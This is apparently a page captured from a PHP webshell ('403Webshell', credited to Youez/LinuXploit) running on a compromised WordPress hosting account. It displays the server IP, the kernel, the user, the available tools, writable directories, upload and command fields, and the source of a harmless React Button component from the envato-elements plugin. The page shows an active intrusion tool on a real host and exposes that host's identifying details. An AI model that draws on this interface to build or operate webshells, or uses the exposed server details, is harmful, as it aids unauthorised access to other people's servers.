403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.81
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaa/www_old/wp-content/plugins/envato-elements/src/js/react/components/Buttons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaa/www_old/wp-content/plugins/envato-elements/src/js/react/components/Buttons/Button.jsx
import React from 'react'
import PropTypes from 'prop-types'
import ButtonIconAndLabel from './ButtonIconAndLabel'
import ButtonElement from './ButtonElement'

const Button = ({ type, label, icon, onClick, disabled, dataTestId }) => {
  return (
    <ButtonElement element='button' type={type} onClick={onClick} disabled={disabled} dataTestId={dataTestId}>
      <ButtonIconAndLabel label={label} icon={icon} />
    </ButtonElement>
  )
}

Button.propTypes = {
  type: PropTypes.string,
  label: PropTypes.string,
  icon: PropTypes.string,
  onClick: PropTypes.func,
  disabled: PropTypes.bool,
  dataTestId: PropTypes.string
}

Button.defaultProps = {
  type: 'ghost',
  label: null,
  icon: null,
  onClick: null,
  disabled: false,
  dataTestId: null
}

export default Button

Youez - 2016 - github.com/yon3zu
LinuXploit